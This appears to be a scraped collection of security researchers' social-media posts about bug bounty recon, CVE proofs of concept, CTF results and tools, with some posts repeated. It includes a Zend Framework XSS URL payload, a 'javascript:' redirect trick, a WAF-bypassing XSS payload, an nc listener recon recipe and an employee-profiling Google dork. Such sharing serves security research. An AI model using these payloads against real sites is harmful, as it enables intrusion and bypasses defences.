This new trick for turning any PHP LFI to RCE is awesome! I've been wondering why it didn't get more attention since it works better than any other LFI2RCE techniques out there (such as expect://).Props to
@loknop
for publishing this technique initially👏
Google's ReCAPTCHA will automatically fingerprint Burp Suite Proxy and raise the challenge difficulty to the maximum, making analysis of the app very irritating.
To fix this, go into your Burp Suite Project Configurations and activate TLS Passthrough for
Nuclei < v2.5.2 was vulnerable to RCE.
I found that you could achieve RCE by using a malicious .yaml template and exploiting nuclei's headless browser feature, which runs with sandbox disabled.
Thanks
@pdnuclei
for the quick update and fix.
PoC:
Sharing my experience with alias path traversals on nginx, and how we leaked sensitive data on Bitwarden and GCP with that. Along with that, we also released a tool called navgix to check for the presence of these vulnerabilities in an automated manner.
Here's a quick Google dork I've made for finding GitHub profiles of company's employees.
"Seeing something unexpected? Take a look at the GitHub profile guide." "shopify" site:
Here's to the ones who made it out of the chaos 😶🌫️
The 5th
#HTB
Season is now over and the competition was fierce! Congratulations to the top contenders of Anomalies:
🥇 NLTE
🥈
@c3l3si4n
🥉
@xct_de
Sharpen your skills before the next Season:
Yay, I was awarded a $3,000 bounty on
@Hacker0x01
!
For this bug, i pulled recon data from
@trick3st
and ran some automations of my own to detect sensitive information on all programs in the repository.
This is a very unknown technique. Tried googling it and found no results, so maybe even a novelty.
This allows you to dump all domains from a Cloudflare user by doing nameserver correlation. Great for finding base domains owned by the company.
Just reported my first HTTP Request smuggling on
@Hacker0x01
. Thanks to
@albinowax
for his amazing research and for sharing with us the new CL.0/H2.0 vector! 😄😄
If you're not using quickcert, you may be missing out on quite a lot of subdomains depending on your target 🔥
Running quickcert lead me to finding 1186 new subdomains that were not found by subfinder's APIs.
Long hail alternate subdomain enumeration methods 😃
Here's a quick XSS 0day for Zend Framework 1.*. It was considered deprecated on 2016, but there's still 132533 installs on composer.
/vendor/diablomedia/zendframework1-http/tests/Zend/Http/Client/_files/testRedirections.php?redirection=3¶m=<img/src=x%20onerror=alert(1)>
Just finished 3rd place, out of 9186 players on this last HackTheBox season. Falling just behind
@xct_de
and
@snowscan
. Thank you very much for the competition
@hackthebox_eu
! Keeping this pace going was not very healthy suffice to say 🤪
Want to host your own subdomain database? Have you ever wanted to scrape all domains from TLS certificates directly from the source? Now it's as simple as ./crtdumper -o output.txt. Check crtdumper out at
turning a DOM Open Redirect into a XSS with the following trick.
var callback_url = " javascript:alert(1)"; // <--- reflected parameter
document.location.href = callback_url;
A great way to find out more about the infrastructure of an website when doing a pentest:
Put this e-mail address on a sign-up form:
attacker@<your vps ip>
Then on your VPS run:
nc -lvnp 25
Of course, that's not fixable because its standard behaviour. :))
Today, me and
@thau0x01
managed to develop a working PoC code for the new ProxyLogon (CVE-2021-26855) Microsoft Exchange 2019 vulnerability containing a full SSRF to Arbitrary File Write exploit chain.
I also have to thank PRIDE Security for the support in this journey. :)
First Pro Labs completed! This one being Zephyr!
The lab included multiple attacks on AD environments, such as ACL abuse, Relay attacks, Kerberos attacks, Forest/Trust attacks, Network Pivoting, SQL Server attacks, Linux Privilege Escalation and Web Hacking.
Released a new authenticated RCE for GLPI, specially it's plugin "order" (installed on many systems), which unserialize()'d a $_POST parameter, making RCE possible with a monolog gadget.
não se apeguem ao técnico, hacking não é tudo na nossa. ida. faça amigos, saia, conheça as drogas, se DIVIRTA.
isso foi algo que faltou na minha vida, quando comecei a nao ser mais tao solitario, descobri um novo significado na vida
Subfinder exists for more than 5 years now, and they added pagination now? How come this issue hasn't been a higher priority earlier? Just imagine the amount of bounties lost due to researchers trusting PDiscovery's tools to do the basic.🤦
Wow! Subfinder just got even more powerful with updates for handling multiple data sources, including pagination issues with many of them. We're excited to see what you all find!
And thanks to ZuoJunhao and kelvinatorr for first time contributions!
H2HC was completely insane. So happy to see so many faces I only knew on the internet. It was tiresome but filled with joy and love. Thank you very much guys 🥺
The last few days, i've submitted 5 reports to
@Hacker0x01
, with 2 being invalid, 1 being a dupe and only 2 reports being accepted.
Thank you
@pry0cc
,
@pdiscoveryio
and
@Burp_Suite
for making such awesome tools.
The technique I described on an article of mine was used by these folks to uncover some people trying to fingerprint members from jailbreaking discord servers.
be me, reverse cloudflare nameservers of , find the cloudflare account also owns , which was running a ctf hosted by
@HashtagCyber
(Matt Domko), the head of security (but rather the only security person! at
@rabbit_hmi
)
In an internal pentest, always keep an eye out for Java-RMI services. Those have several misconfigurations which can lead to RCE, as well as exporting useful functions (addUser, runCMD) which can be called and accessed by the JDK jprofiler tool.
This Friday, I'm presenting a novel technique as part of my talk "Secret web hacking knowledge - CTF authors hate these simple tricks".
I've made a challenge about it, will you be able to pop an alert on ? The whole source code is in the screens below :)
Blocked: <img src=x onerror=alert(1)>
Bypassed: <x style=animation-name:fadeIn onanimationstart=(function(){g=alert;/**/g(1)})() ></x>
WAF Bypassing can be fun ¯\_(ツ)_/¯
I recently developed a minimal rootkit for Linux systems that made use of "KProbes" to hook internal kernel functions. This rootkit was created as a way to show the power of KProbes in rootkits. I greatly used
@ryan_elfmaster
's phrack paper as reference.
A lot of blue-team people use User-Agents as a way to identify and group requests of an attacker. Use that to your advantage and randomize your user-agent on every request.
Here's a quality of life improvement for Burp Suite. Install the uBlock Origin extension on Burp's integrated browser, because it wil filter most of the useless requests and allow your proxy history to be clear of third-party tracking library requests.
Just released this new tool for decluttering and cleaning URL lists. It is very flexible, with some arguments for controlling the aggressiveness of the tool. Check it out
Today i made my first heap exploit a use-after-free bug on glibc version 2.27 exploited with a tcache duplication technique. I'd like to thank everyone who helped me with this and gave me tips on how to study or answered questions I had. Keep pwning!
Foi mto legal ver todo mundo na RoadSec, nunca fui em uma conferencia antes entao fiquei feliz em ver todos os rostos que eu apenas via na Internet anteriormente.
This whole recon/automation stuff in Bug Bounty is a huge trap. Don't use one liners from twitter and don't listen to "success" stories. Do your own stuff, come up with your own vectors and techniques.
#BugBounty
#bugbountytips
DOMPurify 3.1.1 & 2.5.1 have been released. Both are security releases & should be upgraded to asap.
Note: More releases might follow, the mitigated attack is novel.
Eternal gratitude goes to
@IcesFont
for finding, reporting & helping with fixes 🙇
@GuidedHacking
Did you know that if you return a 444 code on nginx, it will drop the connection without returning any response? It might be interesting for fooling the script kiddies.
Everybody knows .js.map files can allow you to recover your source code, but did you know Chrome now has support for debugging these .map files? (Breakpoints, Variable Monitoring, etc.)
#bugbountytips
APIs that encrypt requests and response bodies are veri likely to contain stupid bugs, due to the false sense of security client-side encryption gives.
From the last few weeks hunting, one thing i noticed is that Marketing Features are usually vulnerable to something. (Tracking JS code leading to XSS, Marketing API tokens exposed on JS, Investor Sites, etc.)
(1/3) I've released publicly a new tool/library called
#objectwalker
that I have been working on for a few months. 🥳
ObjectWalker allows you to find paths into python objects to find interesting targets, in breadth first search or depth first search!
➡️
This new trick for turning any PHP LFI to RCE is awesome! I've been wondering why it didn't get more attention since it works better than any other LFI2RCE techniques out there (such as expect://).Props to
@loknop
for publishing this technique initially👏
Made a quick script for mixing wordlists (raft, common, assetnote) into a single wordlist to pipe into content discovery tools. Create your own ultimate master race wordlist :P
This is a very unknown technique. Tried googling it and found no results, so maybe even a novelty.
This allows you to dump all domains from a Cloudflare user by doing nameserver correlation. Great for finding base domains owned by the company.